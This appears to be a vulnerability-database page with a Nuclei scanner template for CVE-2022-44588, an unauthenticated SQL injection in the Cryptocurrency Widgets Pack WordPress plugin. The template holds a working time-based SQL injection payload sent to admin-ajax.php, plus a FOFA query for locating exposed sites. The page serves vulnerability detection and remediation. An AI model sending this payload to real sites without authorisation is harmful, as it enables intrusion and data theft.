Cryptocurrency Widgets Pack <= 1.8.1 - SQL Injection
CVE-2022-44588
Verified
Description
Cryptocurrency Widgets Pack Plugin <=1.8.1 for WordPress contains an unauthenticated SQL injection caused by unsanitized user input in database queries, letting attackers execute arbitrary SQL commands, exploit requires no authentication.
Severity
Critical
CVSS Score
9.8
Exploit Probability
35%
Published Date
February 21, 2026
Template Author
shivam kamboj
CVE-2022-44588.yaml
id: CVE-2022-44588
info:
name: Cryptocurrency Widgets Pack <= 1.8.1 - SQL Injection
author: Shivam Kamboj
severity: critical
description: |
Cryptocurrency Widgets Pack Plugin <=1.8.1 for WordPress contains an unauthenticated SQL injection caused by unsanitized user input in database queries, letting attackers execute arbitrary SQL commands, exploit requires no authentication.
impact: |
Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion of sensitive information.
remediation: |
Update to the latest version of the plugin where the vulnerability is fixed.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-44588
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cryptocurrency-widgets-pack/cryptocurrency-widgets-pack-181-unauthenticated-sql-injection-2
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-44588
epss-score: 0.34664
epss-percentile: 0.97073
cwe-id: CWE-89
metadata:
verified: true
max-request: 1
fofa-query: body="wp-content/plugins/cryptocurrency-widgets-pack"
tags: cve,cve2022,wordpress,wp,wp-plugin,sqli,cryptocurrency-widgets-pack,unauth
http:
- raw:
- |
@timeout: 30s
GET /wp-admin/admin-ajax.php?action=mcwp_table&mcwp_id=1&draw=1&start=0&length=10&columns[0][name]=EXP(~(SELECT*FROM(SELECT+SLEEP(8))x))&order[0][column]=0&order[0][dir]=ASC HTTP/1.1
Host: {{Hostname}}
X-Requested-With: XMLHttpRequest
matchers:
- type: dsl
dsl:
- 'duration >= 8'
- 'status_code == 200'
- 'contains_all(body, "recordsTotal", "recordsFiltered", "draw")'
condition: and
# digest: 4a0a0047304502206c27a0c9c41e110b38a5d62a0bedcf29506a7cdb007435afd20dd18304c99077022100b43d79c5d03ca360df1470f140bad885f8c67ee7d3af115be17642592dfa5a94:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2022-44588
CWE ID:
cwe-89
Remediation Steps
Update to the latest version of the plugin where the vulnerability is fixed.